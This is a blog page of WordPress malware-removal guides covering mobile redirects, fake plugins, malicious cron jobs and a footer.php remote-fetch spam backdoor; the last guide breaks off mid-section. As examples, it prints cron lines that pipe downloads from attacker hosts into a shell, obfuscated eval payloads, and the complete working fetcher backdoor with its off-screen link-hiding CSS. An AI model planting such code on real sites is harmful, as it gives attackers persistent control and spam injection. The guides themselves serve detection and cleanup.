Category: Malware Type

  • Fix: WordPress Redirects to Spam Site on Mobile Only (Solved)

    Is your WordPress site working perfectly on desktop but redirecting to spam, gambling, or “You Won an iPhone” scams when visited on a phone?

    This is a specific type of malware known as a Conditional Mobile Redirect. It is designed to trick site owners because the hacker knows you likely update and check your site from a computer, not your phone.

    This guide will explain why this happens and providing a step-by-step fix to remove the malicious code.


    Quick Summary (Key Takeaways)

    • The Symptom: Site redirects to spam URLs only on mobile devices (iOS/Android).

    • The Cause: Malicious code checking the “User-Agent” to identify mobile visitors.

    • Most Common Hiding Spots: The .htaccess file, wp-header.php, or a rogue plugin.

    • First Step: Clear your mobile browser cache to ensure the redirect isn’t just “stuck” in your history.


    Why Is This Happening?

    Hackers inject a script into your WordPress files that checks the visitor’s User-Agent.

    • If User-Agent = Desktop: The site loads normally (so you don’t notice).

    • If User-Agent = Mobile: The script triggers a JavaScript window.location redirect to a spam network.

    Because this is a “smart” hack, standard malware scanners sometimes miss it if they scan from a desktop server simulation.


    Step-by-Step Removal Guide

    ⚠️ Prerequisite: Before touching any files, backup your website immediately using your hosting panel or a plugin like UpdraftPlus.

    1. Check Your .htaccess File (Most Common Culprit)

    The .htaccess file controls how your server handles requests. Hackers love to hide redirect rules here because it processes before the site even loads.

    1. Log in to your Hosting File Manager (cPanel) or use an FTP client (like FileZilla).

    2. Locate the .htaccess file in your root directory (usually public_html).

    3. Edit the file and look for suspicious code blocks mentioning HTTP_USER_AGENT, android, iphone, or redirect.

    4. The Fix: If you see strange code outside of the standard # BEGIN WordPress tags, delete it. A clean, standard WordPress .htaccess file looks like this:

    Apache
    # BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    # END WordPress
    

    2. Inspect header.php and footer.php

    If the redirect is JavaScript-based, it is likely injected into your theme’s header or footer files.

    1. Navigate to /wp-content/themes/your-current-theme/.

    2. Open header.php.

    3. Look for <script> tags that look like random jumbles of letters and numbers (obfuscated code) or reference external domains (e.g., jquery-min.com or other lookalikes).

    4. The Fix: Remove the suspicious script lines.

    3. Check for “Ghost” Plugins

    Sometimes hackers install a plugin that doesn’t show up in your WordPress Dashboard.

    1. Using your File Manager/FTP, go to /wp-content/plugins/.

    2. Sort the folders by “Last Modified”.

    3. Look for any plugin folder modified recently that you did not update yourself.

    4. Look for generic names like cms-core, wp-security-patch, or plugin-update.

    5. The Fix: Delete the suspicious folder entirely.

    4. Scan the Database for JavaScript Injection

    Sometimes the redirect code is injected directly into your database posts or widgets.

    1. Install a plugin called “Better Search Replace”.

    2. Search for common malicious snippets like base64_decode, eval(, or specific spam URLs if you know them.

    3. Note: Be extremely careful editing the database. If you aren’t sure, skip this step or hire a professional.

    5. Clear Caches (Crucial Final Step)

    After removing the code, the redirect might still happen because your caching plugin or CDN (like Cloudflare) has saved the “hacked” version of the page.

    1. Purge All Caches in your caching plugin (WP Rocket, W3 Total Cache, etc.).

    2. Clear Cloudflare Cache if you use it.

    3. Test on a Private Tab: Open an Incognito/Private window on your phone (using 4G, not WiFi) to test if the redirect is gone.


    How to Prevent Reinfection

    Cleaning the hack is only half the battle. If you don’t plug the hole, they will get back in.

    • Update Everything: Ensure WordPress core, themes, and plugins are on the latest versions.

    • Change Passwords: Reset your WP Admin, Database, and FTP passwords immediately.

    • Install a Firewall: Use a security plugin like Wordfence or Sucuri to block future attacks.


    Frequently Asked Questions (FAQ)

    Q: Why does the redirect only happen on my phone?

    A: Hackers use “User-Agent Sniffing” to hide the malware from site owners (who use desktops) and desktop-based malware scanners.

    Q: Can I fix this without coding knowledge?

    A: You can try installing the Wordfence or MalCare plugin to scan and auto-clean the files. However, deep redirects in the database sometimes require manual removal.

    Q: Will this hurt my SEO?

    A: Yes. If Google detects the mobile redirect, they will blacklist your site or display a “This site may be hacked” warning. You must fix it immediately to preserve your rankings.

  • Why Is My Website Showing Content From Another Site? (How to Find & Fix Hidden Malware)

    Introduction: The “Glitch” That Isn’t a Glitch

    You type in your URL, expecting to see your homepage. Instead, you see something completely different. Maybe it’s an online shop selling car keys, cheap sunglasses, or pharmaceuticals. Maybe the whole design has changed to mimic a completely different brand.

    You might think you’ve typed the wrong address, or that your hosting is “glitching.”

    Unfortunately, this is rarely a glitch. It is almost always a malicious code injection. Hackers have modified your site’s core files to hijack your traffic and show their content instead of yours.

    If you are a site owner without technical knowledge, this guide will walk you through exactly what is happening, the specific “fake” plugins causing it, and how to fix it.


    Phase 1: Diagnosis – How to Confirm You Are Hacked

    Most site owners panic and start deactivating their design themes. However, this specific hack usually hides deeper in your file structure.

    The hack typically does two things:

    1. Creates Fake Plugins: It installs folders that look like legitimate software so you don’t delete them.

    2. Hijacks the Doorway (index.php): It changes the main file that loads your website, telling it to load the virus first.

    The “Imposter” Plugins

    Based on recent security analysis, this specific malware strain is known to create folders in your wp-content/plugins directory with legitimate-sounding names.

    Check your File Manager for these specific folders. If you did not install them, they are likely malware:

    • wp-compat: This is a major red flag. There is no official WordPress plugin by this name that comes pre-installed.

    • CacheFusion: Sounds like a speed tool, but if you didn’t install it, it’s often malicious code used to store the spam content.

    • CDNConnect: Another generic name used to trick site owners into thinking it is a performance tool.

    (Note: Hackers use these boring names because they know you are scared to delete things that sound “technical.”)


    Phase 2: The Solution (Step-by-Step)

    ⚠️ Warning: Before touching anything, generate a full backup of your website via your hosting panel.

    Step 1: Check the Date Modified

    Open your Hosting File Manager (cPanel or FTP). Navigate to public_html > wp-content > plugins.

    Look at the “Last Modified” column.

    • Did wp-compat, CacheFusion, or CDNConnect all appear on the same date?

    • Was that date recent (e.g., September 8th, as seen in many recent infection reports)?

    • If the dates match a time you weren’t working on the site, that is your confirmation.

    Step 2: Delete the Fake Plugins

    Do not try to “deactivate” them inside the WordPress dashboard (the hacker often hides them from the plugin list). You must delete the folders directly from the File Manager.

    1. Right-click the wp-compat folder -> Delete.

    2. Right-click CacheFusion -> Delete.

    3. Right-click CDNConnect -> Delete.

    Step 3: Fix the index.php File

    This is the most critical step. The hacker modified your index.php file (located in your main public_html folder) to load those fake plugins. Even if you delete the plugins, a broken index.php might crash your site.

    1. Find the index.php file in your root folder.

    2. The Signs of Infection: A clean WordPress index.php is very short (usually about 28 bytes to 50 bytes). If your file size is 4KB or larger, it is infected.

    3. The Fix:

      • Edit the file.

      • Delete everything inside it.

      • Paste the official, clean WordPress code below:

    <?php
    /**
     * Front to the WordPress application. This file doesn't do anything, but loads
     * wp-blog-header.php which does and tells WordPress to load the theme.
     *
     * @package WordPress
     */
    
    /**
     * Tells WordPress to load the WordPress theme and output it.
     *
     * @var bool
     */
    define( 'WP_USE_THEMES', true );
    
    /** Loads the WordPress Environment and Template */
    require __DIR__ . '/wp-blog-header.php';
    
    1. Save the file.

    Step 4: Clear Your Caches

    If you use legitimate caching tools (like LiteSpeed or NitroPack, which are excellent tools), they may still be “remembering” the hacked version of your site.

    • Log into your hosting dashboard.

    • Flush/Purge all caches.

    • Visit your site in Incognito mode to verify the fix.


    Common Questions (AI & Voice Search Optimized)

    Q: Why is my WordPress site showing a Japanese store or car parts?

    A: This is often called the “Japanese Keyword Hack” or “Pharma Hack.” Attackers inject code into your index.php header to display foreign content to search engines and users to steal your SEO ranking.

    Q: Is wp-compat a virus?

    A: Yes. In the context of recent WordPress attacks, a folder named wp-compat found in your plugins directory is typically a container for malicious scripts. It is not a core WordPress file.

    Q: My antivirus didn’t catch CDNConnect. Is it safe?

    A: Likely not. Hackers name malicious folders CDNConnect to mimic legitimate Content Delivery Network software. If you did not manually install a plugin by this name, delete it immediately.


    Summary & Next Steps

    Cleaning the hacked files is only half the battle. You need to close the door they came in through.

    1. Change all passwords (WordPress Admin, FTP, and Database).

    2. Update everything: Ensure Elementor, WooCommerce, and all legitimate plugins are fully updated.

    3. Run a Deep Scan: Use a security plugin like Wordfence or Sucuri to scan for any “backdoors” left behind in other folders.

    Need your site back right now? Dealing with server files and PHP code can be risky if you aren’t technical. If you are afraid of deleting the wrong file or breaking your site further, we offer emergency malware removal services. We can identify these fake plugins, clean your index.php, and secure your website for you—usually within hour

  • Hidden Cron Job Malware in WordPress: Find & Remove It (2026)

    Hidden Cron Job Malware in WordPress: Find & Remove It (2026)

    ⏱️ Malware regenerating every minute or hour? Hidden cron jobs are the #1 cause. This guide covers exactly how to find and kill them. If you’d rather have a security expert do this for you with same-day turnaround, see my WordPress malware removal service.

    You delete the infected file. Five minutes later, it’s back. You delete it again. Hours later, the same malware reappears with a different filename. Your site is being reinfected automatically — and the most common cause is a malicious cron job.

    A cron job is just a scheduled task on your server. Legitimate sites use them all the time (running backups, sending scheduled emails, clearing caches). But attackers also use them as their insurance policy against your cleanup attempts. They install a hidden cron job that re-downloads or re-creates the malware automatically — every minute, every hour, every day — for as long as it stays on your server.

    After cleaning 4,500+ hacked WordPress sites, I find malicious cron jobs are responsible for the majority of “malware keeps coming back” cases. This guide walks through exactly how to find and kill them, whether you’re on cPanel, a VPS, or managed hosting.

    📋 Quick Removal Process

    1. cPanel: Cron Jobs section → look for eval, base64_decode, gzinflate → Delete
    2. VPS/SSH: Run crontab -l for your user, then check other users (root, www-data, apache)
    3. WordPress: Install WP Crontrol plugin → audit all scheduled events for unfamiliar hooks
    4. After removal: Clean infected files, change ALL passwords, reset wp-config salts

    What Is a Cron Job and How Hackers Abuse It

    A cron job is a task your server runs automatically on a schedule. Every modern web server supports cron — it’s built into Linux/Unix and exposed through tools like cPanel’s Cron Jobs section.

    Legitimate examples on a WordPress site:

    • UpdraftPlus running daily backups at 3 AM
    • WordPress core checking for plugin updates
    • Caching plugins clearing expired cache files
    • SEO plugins regenerating sitemaps
    • Email plugins sending newsletters at scheduled times

    The cron syntax looks like this:

    * * * * * /path/to/command

    The five asterisks represent minute, hour, day-of-month, month, day-of-week. Five asterisks means “run every minute of every hour of every day forever.” That extreme frequency is exactly what attackers want — instant reinfection the moment you clean their malware.

    How a Malicious Cron Job Gets There in the First Place

    Attackers can’t just add a cron job to a server they don’t have access to. The cron job is never the first step of a hack — it’s added after the attacker has already gained some access. The typical infection sequence:

    1. Initial breach — Attacker exploits an outdated plugin, weak password, vulnerable theme, or compromised credentials to get into the site
    2. Backdoor upload — They upload a webshell — often disguised with an innocent name like wp-check.php, cache.php, or hidden inside /wp-includes/. This webshell gives them ongoing command-line access to your server
    3. Cron job installation — Through the webshell, they execute the command needed to install a cron job. The cron job becomes their persistence mechanism
    4. Payload execution — The cron job runs on schedule, re-downloading malware from a remote URL, recreating backdoor files, or restoring spam content

    This is why standard cleanup fails so often. You find and delete one backdoor, feeling like you’ve solved it. But the cron job is sitting silently in the background, ready to re-download a fresh copy of the malware the moment your cleanup is complete.

    For more on how the initial breach typically happens, see how hackers hide backdoors in WordPress.

    Anatomy of a Real Malicious Cron Job

    Here’s an actual malicious cron command I’ve found on multiple client sites. Understanding how it works helps you recognize variants:

    * * * * * /usr/local/bin/php -r 'eval(gzinflate(base64_decode("jVJrb6JAFP3ur2YUqcQGbatYaWxqfaa1...")));'

    [Screenshot: cPanel Cron Jobs interface showing the malicious entry highlighted]

    Let’s break down what makes this dangerous and how to spot variants:

    The Three Layers of Obfuscation

    Attackers use three layers to hide the actual malicious code from casual inspection and from basic security scanners:

    Layer Function What It Does
    1. Base64 Encoding base64_decode() Makes malicious code look like random text characters
    2. Compression gzinflate() Compresses the encoded data, hiding it further from signature scanners
    3. Code Execution eval() Tells PHP to execute the decoded, decompressed code as if it were normal PHP

    The combination eval(gzinflate(base64_decode(...))) is the classic “PHP malware obfuscation triple play.” If you see this pattern anywhere on your server — in cron jobs, in PHP files, in database options — it’s almost certainly malicious.

    The Schedule: * * * * *

    That five-asterisk schedule means “run every minute”. Attackers use this aggressive timing because it ensures the malware reappears almost instantly after you delete it. By the time you finish cleaning a file, the cron job has already restored it.

    Other schedules to recognize:

    • */5 * * * * — every 5 minutes
    • 0 * * * * — every hour at minute 0
    • 0 */6 * * * — every 6 hours
    • 0 3 * * * — every day at 3 AM (when traffic is low)

    Common Variants You’ll See

    Attackers vary the pattern, but the core obfuscation stays similar:

    # Variant 1: Direct PHP execution
    * * * * * php -r 'eval(base64_decode("..."));'
    
    # Variant 2: wget downloading remote payload
    * * * * * wget -q -O - http://attacker.com/payload.txt | bash
    
    # Variant 3: curl-based reinfection
    */10 * * * * curl -s http://malicious.xyz/install.sh | sh
    
    # Variant 4: Python (less common)
    * * * * * python -c "import urllib.request;exec(urllib.request.urlopen('http://...').read())"
    
    # Variant 5: Hidden in a "legitimate" path
    * * * * * /var/www/html/wp-content/.cache/update.php

    Any cron job that downloads from an external URL, executes encoded data, or runs from suspicious paths inside your WordPress installation should be considered malicious until proven otherwise.

    Method 1: Find and Remove Malicious Cron Jobs in cPanel

    cPanel hosts (most shared hosting — Bluehost, HostGator, GoDaddy cPanel plans, SiteGround, etc.) make this relatively straightforward.

    Step-by-Step cPanel Removal

    1. Log in to your cPanel account
    2. Scroll to the Advanced section (sometimes called “Tools”)
    3. Click Cron Jobs
    4. Scroll to the Current Cron Jobs table at the bottom of the page
    5. Examine every entry carefully. Look for any of these red flags:
      • Commands containing eval, base64_decode, gzinflate, str_rot13
      • Commands downloading from external URLs (wget http://..., curl http://...)
      • Commands you don’t recognize and didn’t create
      • Commands running every minute (* * * * *) — almost always malicious unless you specifically set up a high-frequency monitor
      • Commands pointing to suspicious paths inside /wp-content/
      • Commands with extremely long obfuscated arguments
    6. Click the Delete button next to each malicious entry
    7. Confirm deletion when prompted

    What Legitimate Cron Jobs Look Like

    For comparison, legitimate cron jobs are usually clear and readable:

    # WordPress real cron (sometimes set up to replace WP-Cron)
    */5 * * * * /usr/bin/php /home/username/public_html/wp-cron.php
    
    # UpdraftPlus or backup plugin
    0 3 * * * /home/username/public_html/wp-content/plugins/updraftplus/cron.php
    
    # Plain WordPress wp-cron via wget
    */15 * * * * wget -q -O - https://yourdomain.com/wp-cron.php?doing_wp_cron >/dev/null 2>&1

    The key distinction: legitimate cron jobs reference clear, readable file paths within your own site. Malicious ones use obfuscated commands or external URLs.

    Method 2: Find Malicious Cron Jobs via SSH (VPS, Cloud, Dedicated)

    If you’re on a VPS, cloud server, or dedicated host, you’ll need terminal access via SSH. This method is also more thorough because you can check cron jobs for multiple users — something cPanel doesn’t show.

    Check Your User’s Cron Jobs

    1. Connect to your server via SSH using your terminal or a tool like PuTTY
    2. Run this command to list your current user’s cron jobs:
    crontab -l

    [Screenshot: terminal output showing crontab listing]

    Review the output carefully for the same red flags from Method 1.

    Edit and Remove Malicious Entries

    If you find malicious entries, edit your crontab to remove them:

    crontab -e

    This opens your crontab in a text editor (usually nano or vi). Use arrow keys to navigate to the malicious line, delete the entire line, then save:

    • nano: Ctrl+O to save, Enter to confirm, Ctrl+X to exit
    • vi/vim: Press i to enter edit mode, delete the line, press Escape, type :wq to save and exit

    The Critical Step Most People Miss: Check Other Users

    Sophisticated attackers often hide cron jobs under different system users — not your main user account. The web server user (www-data, apache, or nginx) is a common hiding spot because that’s the user PHP runs as.

    Run these commands (requires sudo/root access):

    # Check root's cron jobs
    sudo crontab -l
    
    # Check the web server user's cron jobs (varies by OS)
    sudo crontab -u www-data -l    # Debian/Ubuntu
    sudo crontab -u apache -l      # CentOS/RHEL
    sudo crontab -u nginx -l       # Nginx-based systems
    
    # List ALL users with cron jobs on the system
    sudo ls -la /var/spool/cron/crontabs/    # Ubuntu/Debian
    sudo ls -la /var/spool/cron/             # CentOS/RHEL
    
    # Check system-wide cron files
    sudo cat /etc/crontab
    sudo ls -la /etc/cron.d/
    sudo ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/

    Examine each location for suspicious entries. Attackers sometimes drop cron files into /etc/cron.d/ with innocent-looking names like php-update or wp-cache-clear.

    Method 3: Audit WP-Cron (WordPress Internal Scheduler)

    WordPress has its own internal scheduler called WP-Cron. Unlike server-level cron jobs, WP-Cron events are stored in your WordPress database and run when someone visits your site. Attackers can hijack WP-Cron just as easily as server cron.

    Inspect WP-Cron with WP Crontrol Plugin

    1. Install the free WP Crontrol plugin from WordPress.org
    2. Activate it
    3. Go to Tools → Cron Events
    4. Review every scheduled event listed

    WP Crontrol

    What to look for:

    • Hooks with random names — Something like wp_xyz_update or hex-string hooks like _0x4a2b
    • Hooks pointing to functions you don’t recognize — Especially in unfamiliar plugin files
    • Events with extremely high frequency — Multiple times per hour for tasks that shouldn’t be that frequent
    • Hooks from plugins you’ve already deleted — Sometimes orphaned cron events keep running malicious code

    Check WP-Cron via WP-CLI (Advanced)

    If you have WP-CLI access, this is faster:

    # List all scheduled cron events
    wp cron event list
    
    # List all registered cron hooks
    wp cron schedule list
    
    # Delete a suspicious cron event
    wp cron event delete suspicious_hook_name

    Check WP-Cron Directly in the Database

    WP-Cron data is stored in wp_options as a serialized array under the option name cron. In phpMyAdmin:

    1. Open your database
    2. Browse the wp_options table
    3. Search for option_name = cron
    4. Examine the option_value for unfamiliar function names or suspicious URLs

    What to Do Immediately After Removing the Cron Job

    Deleting the malicious cron job stops the reinfection from happening. But the site is still infected — the cron job was just preventing your previous cleanups from sticking. Now the cleanup will actually hold.

    Step 1: Run a Full Malware Scan

    Now that the re-infector is gone, scan with:

    • Wordfence — Find infected files
    • Sucuri SiteCheck (sitecheck.sucuri.net) — External malware detection
    • VirusTotal — Multi-vendor blacklist check

    Step 2: Clean All Infected Files

    Work through your scanner’s findings. With the cron job gone, deleted files will stay deleted. For comprehensive cleanup, see my expert guide to clean hacked WordPress sites.

    Step 3: Find the Original Backdoor That Installed the Cron

    Remember: the cron job was added through a backdoor. That backdoor is probably still on your server. Hunt for it:

    • Check /wp-content/uploads/ for any PHP files (none should exist there)
    • Check /wp-content/mu-plugins/ for unauthorized files
    • Look for files modified around the same time the cron job was created
    • Search PHP files for eval(base64_decode( patterns

    Run these commands via SSH:

    # Find PHP files in uploads (red flag)
    find ./wp-content/uploads/ -name "*.php"
    
    # Find files containing malware patterns
    grep -rnw './wp-content/' -e 'eval(' --include="*.php"
    grep -rnw './wp-content/' -e 'gzinflate(' --include="*.php"
    
    # Find recently modified PHP files
    find ./wp-content/ -name "*.php" -mtime -30 -ls

    Step 4: Change Every Password

    • Hosting/cPanel password
    • All WordPress admin passwords
    • FTP/SFTP/SSH credentials
    • Database password (update wp-config.php after)
    • Email accounts that can reset other passwords

    Step 5: Reset WordPress Salts

    Generate new salts at api.wordpress.org/secret-key/1.1/salt and replace the matching values in wp-config.php. This invalidates all active sessions, including any hacker sessions.

    Step 6: Update Everything

    WordPress core, every plugin, every theme. Remove unused plugins and themes. The original entry point was probably an outdated component — patching is essential.

    Step 7: Harden Against Future Cron Injections

    Why Cron-Based Reinfection Is So Common

    Three reasons cron job malware is so prevalent:

    1. Most site owners don’t know to look for it. They focus on PHP files and ignore the cron tab entirely. Even most security plugins don’t actively monitor cron job changes.
    2. Modifying cron is easy with shell access. Once an attacker has any code execution on your server, adding a cron job is a single command. It’s the lowest-effort persistence mechanism available.
    3. Cron jobs survive most cleanups. Even thorough file cleanups and database scrubs miss cron because cron lives in a different system entirely (the OS-level scheduler, not WordPress files or the database).

    This is why malicious cron jobs cause more reinfections than any other persistence mechanism in my experience. If WordPress malware keeps coming back, cron is always my first check.

    For other reinfection causes (hidden admin users, ghost plugins, database malware, sibling site infections), see my master guide on why WordPress malware keeps coming back.

    Real Case: How Cron Jobs Sustained 12,000 Spam Posts

    One of the most dramatic cron job cases I’ve worked on: a client’s WordPress site had been compromised for months. Every time they cleaned up the spam casino posts (sometimes thousands at a time), they’d reappear within 24 hours. Wordfence reported the site clean. The hosting provider couldn’t find the issue.

    The culprit: a malicious cron job running every hour, calling a remote URL that returned fresh batches of casino spam content. Removing the cron job — combined with cleaning the existing spam — finally stopped the cycle.

    Read the full breakdown: how I removed 12,000 casino gambling posts and stopped cron job malware.

    FAQ: Cron Job Malware

    How do I know if my WordPress malware is from a cron job?

    The biggest tell is timing. If malware reappears at predictable intervals — every minute, every hour, every day at the same time — it’s almost certainly a scheduled task. Cron-based reinfection is also faster than other reinfection types: the malware comes back within minutes of deletion, not days. If reinfection happens unpredictably, it’s more likely a backdoor file or hidden admin user.

    Where do hackers usually hide cron jobs?

    The most common locations: cPanel Cron Jobs section (most shared hosting), the system-level crontab via crontab -e (your user), the web server user’s crontab via sudo crontab -u www-data -l, system-wide cron files in /etc/cron.d/, and WordPress’s internal WP-Cron stored in the wp_options database table. Sophisticated attacks may use multiple locations simultaneously.

    Can security plugins detect malicious cron jobs?

    Generally no. Most WordPress security plugins (Wordfence, Sucuri, MalCare) scan files and database content but don’t inspect server-level cron jobs. Some monitor WP-Cron events for unfamiliar hooks, but most don’t actively flag suspicious cron entries. This is why manual cron auditing is essential when malware keeps coming back.

    Will deleting the cron job fix my hacked site completely?

    No — it stops the reinfection cycle but doesn’t remove existing malware. After deleting the cron job, you still need to scan for and remove infected files, find the original backdoor that allowed cron installation, change all passwords, and update your software. The cron job removal is one critical step in a larger cleanup process.

    What does eval(gzinflate(base64_decode())) mean in a cron command?

    It’s a three-layer obfuscation pattern. base64_decode converts encoded text back to binary data, gzinflate decompresses that data, and eval executes the decompressed code as PHP. This combination is almost exclusively used by malware to hide malicious code from inspection. If you see this pattern in a cron job (or anywhere else on your server), assume it’s malicious.

    Can I just disable WP-Cron entirely to prevent this?

    You can disable WP-Cron by adding define('DISABLE_WP_CRON', true); to wp-config.php, then setting up a real server cron job to call wp-cron.php. This actually improves performance and security because legitimate WordPress tasks run more reliably. However, it doesn’t prevent server-level cron job attacks — those happen through the OS scheduler, not WordPress.

    How do attackers add cron jobs without my knowledge?

    They don’t add cron jobs as the first step — that requires existing access. The sequence is: (1) attacker exploits a vulnerability or steals credentials to get initial access, (2) uploads a backdoor file (webshell), (3) uses the webshell to execute the cron-installation command. The cron job is their persistence layer, not their entry point. Find and patch the original entry point or they’ll just re-add the cron later.

    What if I can’t find any malicious cron jobs but malware still keeps coming back?

    If cron is clean, the persistence mechanism is one of the other 7 causes I cover in my comprehensive reinfection guide — backdoor files, hidden admin users, modified core files, database injections, infected sibling sites on the same hosting account, unrotated credentials, or unpatched original vulnerabilities. Work through each systematically.

    Will my hosting provider help find malicious cron jobs?

    Most shared hosts (Bluehost, GoDaddy, HostGator) won’t actively investigate cron jobs for you, but they will give you cPanel access to inspect them yourself. Some managed hosts (Kinsta, WP Engine) handle cron at the platform level and may block obvious malicious entries. For comprehensive cleanup, you usually need security expertise that goes beyond standard hosting support.

    Get Help Removing Cron Job Malware

    Cron job malware is technically simple to remove once you know what to look for, but finding all the persistence layers (cron job + backdoors + original entry point) is what makes a cleanup actually stick. If you’ve identified a malicious cron job but can’t find the backdoor that installed it, or if removing the cron job doesn’t stop reinfection, you’re missing something deeper.

    This is exactly the type of investigation I run on every paid cleanup. I work through cron jobs first (server-level and WP-Cron), find every backdoor that could re-install cron, identify and patch the original entry point, and harden against future cron-based attacks.

    Stop the cron-based reinfection cycle

    Get the cron job removed, the backdoor found, and the entry point patched.

    → Get Professional Malware Removal

    Cron + backdoor + entry point fixed · 4–8 hour turnaround

    For broader reinfection scenarios beyond cron jobs, see my master guide on why WordPress malware keeps coming back and how to stop it forever. If your site is also blacklisted, pair cleanup with my Google blacklist removal service.


    About the author: Md Pabel is a WordPress security specialist with 7+ years of experience. He has personally cleaned over 4,500 hacked WordPress sites and specializes in finding persistence mechanisms that defeat standard cleanup attempts. Real-world malware analysis at mdpabel.com.

  • Hidden Links Malware in WordPress: How a Remote-Fetch footer.php Backdoor Injects Casino & Slot Spam

    Hidden Links Malware in WordPress: How a Remote-Fetch footer.php Backdoor Injects Casino & Slot Spam

    Quick answer: Hidden links malware in WordPress is most often a remote-fetch backdoor — a tiny PHP snippet (usually inside footer.php) that pulls a list of casino, slot, pharma, or counterfeit links from an attacker-controlled server on every page load and prints them inside an off-screen <div>. Visitors don’t see the links; Googlebot does. To remove it: back up, delete the fetcher snippet from your theme, scan files + database for related backdoors, rotate all credentials, and request a Search Console review.


    Key takeaways

    • What it is: A black-hat SEO injection that adds invisible casino/slot/pharma backlinks to your site to pass authority to attacker-owned domains.
    • The new pattern (2025): Most cleanups I’m doing this year aren’t hard-coded link blocks — they’re remote-fetch backdoors that download fresh spam HTML from a C2 server every request, so the visible spam changes daily.
    • Where it hides: footer.php in 80% of my cases, then header.php, functions.php, and the database (wp_options, wp_posts).
    • How it stays hidden: Off-screen CSS like position:absolute; left:-989999999999px; — never display:none, because some search crawlers ignore that.
    • Why it survives “cleanups”: The fetcher is small (10–30 lines). Site owners delete the visible spam list in HTML but miss the snippet that re-pulls it.
    • This case: Found in footer.php, fetching from an Indonesian C2 domain that itself is a compromised legitimate site.

    What is hidden links malware (and why “remote-fetch” matters)

    Hidden links malware — sometimes called link injection spam, SEO spam injection, or spamdexing — is malicious code that adds invisible outbound links to your WordPress pages. The attacker’s goal is simple: borrow your domain authority to rank their spam pages (casino, slot, pharma, replica goods, adult content) in Google.

    What changed in the last 18 months is the delivery mechanism. Older infections hard-coded a block of spam HTML directly into footer.php. That’s easy to find with a simple grep. Newer infections — including the one I’m walking through here — use a remote-fetch backdoor: a tiny PHP function that downloads the spam list from a remote URL on every page load.

    This matters for three reasons:

    1. The visible spam rotates. The attacker can swap target keywords from “viagra cheap” to “slot gacor” to “mahjong ways” without re-hacking your site.
    2. Static malware scanners miss it. The local fingerprint is just a generic file_get_contents() call — not a known signature.
    3. “Cleaning” the visible HTML doesn’t fix anything. If you only delete the rendered links and leave the fetcher, the spam comes back on the next page load.

    I separated this out from my WordPress pharma hack guide and my Japanese keyword hack guide because the remote-fetch family behaves differently — and ignoring that difference is the #1 reason cleanups fail and the spam returns within days.


    The case: a remote-fetch backdoor in footer.php

    The infected site I’ll reference here was a small B2B WordPress installation. The owner only noticed because Google Search Console flagged “Security Issues — URLs containing user-generated spam” and a site:domain.com slot query returned roughly 600 indexed gambling pages that didn’t exist on the actual site.

    The spam wasn’t in the database. It wasn’t in wp-content/uploads. There were no rogue admin users. The site’s own pages, when viewed in a browser, looked completely fine. But viewing the page source revealed a giant block of casino and slot anchor tags wedged just before the closing </body> tag — and that block was different on every refresh.

    Walking back from the rendered HTML to the template, the trail led to wp-content/themes/[active-theme]/footer.php. At the bottom of the file, just above wp_footer(), sat this:

    <?php
    $url = "https://nawalaku.my.id/bl/";
    
    function fetch($url) {
        if (ini_get('allow_url_fopen') && ($d = @file_get_contents($url))) return $d;
    
        if (function_exists('curl_init')) {
            $c = curl_init($url);
            curl_setopt_array($c, [
                CURLOPT_RETURNTRANSFER => 1,
                CURLOPT_FOLLOWLOCATION => 1,
                CURLOPT_USERAGENT => 'Mozilla/5.0',
                CURLOPT_TIMEOUT => 10
            ]);
            $d = curl_exec($c);
            curl_close($c);
            if ($d) return $d;
        }
    
        $ctx = stream_context_create([
            'http' => ['header' => "User-Agent: Mozilla/5.0\r\n", 'timeout' => 10]
        ]);
        if ($d = @file_get_contents($url, false, $ctx)) return $d;
    
        return '';
    }
    
    echo fetch($url);
    ?>

    Remote-fetch backdoor code injected into WordPress footer.php

    That’s it. Twenty-five lines. No obfuscation. No base64_decode, no eval, no gzinflate — the things most malware scanners look for. Just three legitimate ways to make an outbound HTTP request, with the response echoed straight into the page.

    What this fetcher actually does

    • Tries file_get_contents first — works on most shared hosts where allow_url_fopen is on.
    • Falls back to cURL — covers hosts where fopen URL wrappers are disabled.
    • Falls back to a stream context — covers edge cases where neither of the first two works.
    • Spoofs a Mozilla User-Agent so the C2 server treats it as a normal browser, not a script.
    • Suppresses errors with @ so a temporarily-unreachable C2 server never breaks the page.
    • Echoes the response unconditionally — whatever the attacker sends, your site prints.

    The C2 endpoint (in this case nawalaku[.]my[.]id/bl/) returns an HTML block containing 50–200 gambling and slot anchor tags wrapped in an off-screen <div>:

    <div style="position:absolute; left:-989999999999px; top:-999999px; width:1px; height:1px; overflow:hidden;">
      <a href="hxxps://example-slot[.]com/gacor">slot gacor hari ini</a>
      <a href="hxxps://example-slot[.]com/mahjong">mahjong ways 2</a>
      ...
    </div>

    That CSS pushes the content roughly a trillion pixels to the left of the viewport. A human will never scroll that far. Googlebot reads the DOM, doesn’t care about visual position, and indexes every link.


    Casino & slot spam vs. pharma vs. Japanese keyword hack

    If you’ve read about WordPress SEO spam before, you’ve probably seen guides on the pharma hack or the Japanese keyword hack. They’re related but not identical — and treating them as the same thing is why cleanups fail.

    Variant What it injects Typical entry point Hiding technique
    Casino / slot spam (this article) Gambling, slot, mahjong, judi online links Theme files (footer.php), remote fetcher Off-screen CSS, dynamic remote payload
    Pharma hack Viagra, Cialis, weight-loss pill links Conditional cloaking in functions.php + DB wp_options User-agent cloaking (only shows to Googlebot)
    Japanese keyword hack Japanese-character spam pages Rogue .html/.php files in random subdirectories Generates thousands of new indexable URLs

    Casino spam is the variant exploding fastest right now. It’s the one I get the most cleanup requests for in 2025–2026, partly because the spam network behind it is huge and partly because the remote-fetch delivery makes it survive routine scans.

    For the other two variants, see my pharma hack guide and Japanese keyword hack guide.


    Signs your site is infected (3 fast checks)

    Search Console showing hidden link spam indexed pages

    1. Site search reveals pages you didn’t write

    In Google, run:

    site:yourdomain.com slot
    site:yourdomain.com gacor
    site:yourdomain.com mahjong
    site:yourdomain.com judi

    If you see indexed pages for keywords your site shouldn’t rank for — especially with Indonesian or Vietnamese language fragments — you have an injection. Also try site:yourdomain.com viagra and site:yourdomain.com 賭場 to rule out parallel pharma or Chinese-keyword infections.

    2. View-source for off-screen blocks

